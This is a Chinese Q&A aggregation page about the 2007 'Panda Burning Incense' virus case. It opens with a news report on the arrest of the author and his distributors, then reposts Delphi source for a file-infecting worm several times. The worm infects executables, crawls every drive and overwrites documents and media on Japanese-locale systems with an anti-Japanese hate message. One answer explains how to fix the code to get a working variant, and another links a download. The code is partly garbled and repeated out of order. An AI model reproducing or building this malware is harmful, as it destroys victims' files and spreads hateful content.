當前位置:首頁 » 操作系統 » 燒香網源碼

燒香網源碼

發布時間: 2022-09-09 04:20:49

㈠ 急需徵集近期有關大學生網路犯罪的案例,謝謝

找了一個叫李俊的

2007年元月,仙桃市龍華山派出所民警在辦理第二代身份證時,發現辦理第二代身份證所用的計算機已中毒,即使殺了毒,隨後也會恢復原貌。緊接著,該局部分辦公計算機,也因中了「熊貓燒香」病毒而癱瘓。

與此同時,該市公安局網監大隊接到仙桃市江漢熱線信息中心報案稱,該網站的中心伺服器大面積中了「熊貓燒香」病毒。

來勢兇猛的計算機病毒,在該市還是首次出現,這引起了該市公安局網監部門高度重視。有關數據顯示,自去年12月以來,被「熊貓燒香」病毒感染中毒的電腦,有50萬台以上,數百萬網民深受其害。

警方還發現,《瑞星2006安全報告》,將「熊貓燒香」列為10大病毒之首,《2006年度中國大陸地區電腦病毒疫情和互聯網安全報告》的十大病毒排行中,該病毒一舉成為「毒王」。

1月22日,該市公安局網監大隊將此案向公安局長余平輝、政委李培剛及副局長葉鐵官匯報。1月24日,該局正式立案偵查,定名為「1·22」案件。

偵查

「武漢男孩」被列重大嫌疑人

昨日,仙桃市公安局副局長葉鐵官介紹,立案後,該市網監部門上網路搜尋相關資料,對「熊貓燒香」計算機病毒進行分析、調查。

結果發現,「熊貓燒香」病毒是一個感染型蠕蟲病毒,能夠感染系統中exe、com、pif、src、html、asp等文件,中止大量的反病毒軟體和防火牆軟體進程,並且會嘗試讀取特定網站上的下載文件列表,通過網頁瀏覽、區域網共享及U盤等多種途徑進行快速傳播。

另外,被感染的計算機,會出現藍屏、頻繁重啟,以及系統硬碟中數據文件被破壞、GHO文件被刪除等現象。被感染的用戶系統中所有的exe可執行文件,全部被改成熊貓舉著三根香的模樣。

根據病毒的感染和傳播特性分析,該局網監部門推測:「熊貓燒香」病毒的作者系一個團隊或是一個人編寫;或是一人編譯,多人再傳播。

國家計算機病毒應急處理中心及網上相關信息顯示:「熊貓燒香」計算機病毒程序中,都有「whboy」、「武漢男孩」的簽名,且該病毒感染網頁文件後,會在網頁中加入一段代碼,把網頁轉向特定網址。

該網站注冊信息顯示,注冊人來自武漢。網監部門技術人員胡紅義、劉傑分析,擁有全部病毒代碼的人,應該是武漢人,很可能與2005年爆發的「武漢男孩」、「QQ尾巴」等木馬有很大關聯。該市公安局網監部門決定,進行串、並案偵查。

偵查過程中,該局網監部門獲得了相關信息———「wh鄄boy」以寫「武漢男孩」傳奇木馬出名,且其作品中通常以「whboy」和「武漢男孩」簽名。

因此,該市公安局網監部門將「武漢男孩」列為重大犯罪嫌疑人,開展針對性的調查。

收網

佯購軟體釣出「武漢男孩」

1月31日,在省公安廳網監總隊的指揮協調下,成立了「1·22」專案組。

2月1日,專案組通過調查走訪,查明「武漢男孩」與另2人共同租住在武漢市洪山區。專案偵查員在武漢佯裝購買殺毒軟體,釣出了一名出售者。

專案民警分析:這名出售者就是「武漢男孩」。後經偵查,「武漢男孩」叫李俊,男,25歲,武漢市新洲區陽邏鎮人,對電腦比較精通。

2月2日,民警張良耀、劉傑等人對李俊租居屋,實施24小時監控。當日下午,專案民警研究實施抓捕行動,制定了抓捕方案和審訊方案。

2月3日,專案組通過種種跡象分析,「武漢男孩」有可能要外逃。抓捕行動須提前進行。

3日晚8時40分,守候在出租屋內的仙桃網監大隊民警,將回到出租屋取東西的李俊抓獲,並對出租屋進行了勘驗。

經突審,李俊交代,「熊貓燒香」病毒系他所寫,病毒源代碼在他與雷磊居住的某賓館房間的硬碟內,並承認有一份源代碼給了雷磊(男,25歲,武漢新洲區陽邏鎮長山村人,系李俊的同學)。

專案民警立即出擊,將准備外逃的雷磊抓獲,並提取了筆記本電腦、硬碟等物品。國家計算機病毒應急處理中心對提取的源碼進行鑒定,認定為該源碼為「熊貓燒香」病毒源碼。

審訊

為好玩搞錢銷售傳播病毒

去年9月,李俊在武漢某電腦學校學習軟體開發時,就開始製作「熊貓燒香」病毒。10月,李俊畢業後,在武漢洪山區租了一單間房屋,潛心製作「熊貓燒香」病毒,在寫作過程中,不斷與雷磊交流寫作進度。

11月,李俊將「熊貓燒香」病毒寫完,通過QQ群發布出售「熊貓燒香」病毒的消息,先後在網上以每個病毒500—1000元的價格出售約20套。

今年1月24日,雷磊找到李俊,告知其網上炒作「熊貓燒香」很厲害,要其避一避。

當日,李俊與雷磊在武漢某賓館開一房間,一起研究「熊貓燒香」,由雷磊繼續在網上替李俊出售2000隻已中毒的「肉機」。

2月4日,仙桃市公安局網監大隊對現場再次進行核查後,將李俊、雷磊押回仙桃。公安部組織協調山東、浙江、雲南、廣東、廣西等地網監部門,對涉案人員、伺服器實施布控、扣押。

5日晚,仙桃公安局副局葉鐵官,在山東威海將王磊抓獲。經初審,王磊交代,他是傳播「熊貓燒香」病毒最多的一人,日平均進賬7000元以上,所得與李俊平分。

王磊還交代了另兩個傳播者,其中一個叫「X火」。在省廳網監總隊的支持下,仙桃警方獲悉自稱「X火」的就是仙桃人。當晚,警方在「X火」家中將其抓獲(此人真名王哲)。另一路追逃專班,在浙江溫州將嫌疑人葉培新抓獲。

此時,正在南昌收繳伺服器的該網監大隊隊長萬正明,接到指揮部的通知後,驅車趕往浙江麗水,3路追捕專班在浙江麗水會合。6日晚,將嫌疑人張順抓獲。

經審訊,李俊為「熊貓燒香」病毒製作者,其他5人為銷售傳播者,其目的就是好玩搞錢。

李俊交代,「熊貓燒香」病毒是將幾種病毒合並在一起,演變成一種新病毒「肉雞」來控制電腦,在電腦里製造木馬程序,盜竊他人電腦里的QQ號、游戲裝備等,得手後變賣獲利。李俊一天最高收入達萬元。

6名嫌疑人落網時,警方現場共收繳10餘萬元,其中王磊用贓款還購買了一輛吉普車。

至此,從2月3日至10日,仙桃公安局網監大隊先後在湖北、山東、浙江等地抓獲了涉案的6名主要犯罪嫌疑人。

(綜合《楚天都市報》《武漢晨報》)

家人眼中的李俊

李俊的父母一直在家鄉一水泥廠上班,前幾年雙雙下崗,他媽媽做了個小推車在街上賣早點,他爸爸則到了一家私人瓦廠打工。52歲的李俊媽媽陳女士說,李俊很小的時候就喜歡玩電腦,沒事就到網吧去玩,因為怕他在外面學壞,家裡就給他買了台電腦。沒想到到頭來兒子卻是因為「玩電腦」被警察抓走,陳女士感到悔恨不已。

李俊的父親則說,四五歲時,李俊愛上了玩積木及拆卸家中的小機械,那時候,李俊將家中的收音機、鬧鍾、手電筒等凡是能拆開的物品,都拆成一個個零部件,歪著腦袋觀察每個零部件後,又將零部件重新組裝起來,恢復原樣。如果鬧鍾再次走動或收音機能發出聲音時,李俊往往會拍手大笑,自顧自慶祝半天。

李俊的弟弟李明比他小三歲,西南民族大學音樂教育專業學生,今年放寒假回家,他偶爾和哥哥提起最近他和同學都中過的「熊貓燒香」電腦病毒。哥哥聽說後卻一改以往的內向和謙卑,不屑一故地笑說:「這病毒沒什麼大不了。」當時李明並沒有想到,他的哥哥就是「熊貓燒香」的始作俑者。

李明告訴記者,哥哥在上學時數學和英語非常優秀,盡管如此,哥哥還是沒能考上高中,而是進了水泥廠里自辦的一所技校(現已改名為「媧石職業技術學校」),後於2000年到武漢一家電腦城打工後,自己有了收入,但他很少給家人錢花。在李明的記憶中,哥哥從不找父母要錢花。有人曾對李俊說,李明是他弟弟,他應該給李明點零花錢。李俊總是很嚴肅地說:「錢要靠自己掙!掙不到錢的人,是無能的人。」

㈡ 誰有熊貓燒香的程序

熊貓燒香核心源碼 (一部分)

熊貓燒香 - 核心源碼 Delphi版本
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責

代碼:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;

{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;

㈢ 跪求熊貓燒香源代碼

這個比較難找,各黑客網站普遍只公布核心源碼,更郁悶的是居然各有各不同,暈倒!

㈣ 哪有熊貓燒香的源代碼

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量

//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記

//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之?
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
把我說的..空格刪去,,然後保存到C盤任何路徑下..你大概就能得熊貓燒香變種

㈤ 有誰知道熊貓燒香的下載網站、跪求網站,

熊貓燒香源碼、文件、已經搞成壓縮包形勢了,放心下載,
http://download.csdn.net/detail/woshizhangdelong/3911857

㈥ 熊貓燒香的源代碼是用Delphi編寫的

在古希臘神話里,DELPHI是智慧女神,米開朗基羅在義大利有著名的DELPHI雕像 。

由Borland公司推出的Delphi是全新的可視化編程環境,為我們提供了一種方便、快捷的Windows應用程序開發工具。它使用了Microsoft Windows圖形用戶界面的許多先進特性和設計思想,採用了彈性可重復利用的完整的面向對象程序語言(Object-Oriented Language)、當今世界上最快的編輯器、最為領先的資料庫技術。對於廣大的程序開發人員來講,使用Delphi開發應用軟體,無疑會大大地提高編程效率,而且隨著應用的深入,您將會發現編程不再是枯燥無味的工作——Delphi的每一個設計細節,都將帶給您一份欣喜。

Delphi是Borland公司研製的新一代可視化開發工具,可在Windows3.x、Windows95、WindowsNT等環境下使用。當前,DELPHI 也可以為LINUX平台上開發應用,其在LINUX上的對應產品KELIX。

DELPHI 擁有一個可視化的集成開發環境(IDE),採用面向對象的編程語言ObjectPascal和基於部件的開發結構框架。Delphi它提供了500多個可供使用的構件,利用這些部件,開發人員可以快速地構造出應用系統。開發人員也可以根據自己的需要修改部件或用Delphi本身編寫自己的部件。主要特點如下:

(1)直接編譯生成可執行代碼,編譯速度快。由於Delphi編譯器採用了條件編譯和選擇鏈接技術,使用它生成的執行文件更加精煉,運行速度更快。在處理速度和存取伺服器方面,Delphi的性能遠遠高於其他同類產品。

(2)支持將存取規則分別交給客戶機或伺服器處理的兩種方案,而且允許開發人員建立一個簡單的部件或部件集合,封裝起所有的規則,並獨立於伺服器和客戶機,所有的數據轉移通過這些部件來完成。這樣,大大減少了對伺服器的請求和網路上的數據傳輸量,提高了應用處理的速度。

(3)提供了許多快速方便的開發方法,使開發人員能用盡可能少的重復性工作完成各種不同的應用。利用項目模板和專家生成器可以很快建立項目的構架,然後根據用戶的實際需要逐步完善。

(4)具有可重用性和可擴展性。開發人員不必再對諸如標簽、按鈕及對話框等Windows的常見部件進行編程。Delphi包含許多可以重復使用的部件,允許用戶控制Windows的開發效果。

(5)具有強大的數據存取功能。它的數據處理工具BDE(BorlandDatabaseEngine)是一個標準的中介軟體層,可以用來處理當前流行的數據格式,如xBase、Paradox等,也可以通過BDE的SQLLink直接與Sybase、SQLServer、Informix、Oracle等大型資料庫連接。 Delphi既可用於開發系統軟體,也適合於應用軟體的開發。

(6)擁有強大的網路開發能力,能夠快速的開發B/S應用,它內置的IntraWeb和ExpressWeb使得對於網路的開發效率超過了其他任何的開發工具。

(7)Delphi使用獨特的VCL類庫,使得編寫出的程序顯得條理清晰,VCL是現在最優秀的類庫,它使得Delphi在軟體開發行業處於一個絕對領先的地位。用戶可以按自己的需要,任意的構建、擴充、甚至是刪減VCL,以滿足不同的需要。
(8)從Delphi8開始Delphi也支持.Net框架下程序開發。

當前DELPHI 已經成為一個品牌,而不僅僅是一個開發平台或開發語言的名稱。 當前DELPHI產品已經由CODEGEAR公司繼續發展,該公司是BORLAND公司的全資子公司。當前,CODEGEAR為廣大開發者提供了DELPHI FOR php,以高度可視化的方式全面支持面向對象的PHP 網站開發,大大提高了PHP開發網站的代碼復用程度,成為WEB應用開發的新利器。

㈦ 誰有 熊貓燒香 源代碼【要c語言的,謝謝啊。

end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
把我說的..空格刪去,,然後保存到C盤任何路徑下..你大概就能得熊貓燒香變種headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量

//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記

//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
